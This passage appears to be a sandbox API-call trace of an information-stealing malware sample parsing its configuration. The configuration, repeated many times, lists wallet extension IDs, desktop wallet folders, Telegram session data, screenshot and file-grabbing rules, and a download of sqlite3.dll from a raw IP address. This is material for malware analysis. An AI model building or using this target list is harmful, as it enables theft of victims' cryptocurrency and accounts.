Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.346] lstrlenW (lpString="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4712 [0259.346] LocalAlloc (uFlags=0x40, uBytes=0x2550) returned 0x6eca28 [0259.347] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0259.347] LocalFree (hMem=0x6eca28) returned 0x0 [0259.347] StrStrW (lpFirst="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.347] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0259.348] LocalFree (hMem=0x6b9720) returned 0x0 [0259.348] LocalFree (hMem=0x6bbbf8) returned 0x0 [0259.350] LocalFree (hMem=0x6be0d0) returned 0x0 [0259.350] StrStrW (lpFirst="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension 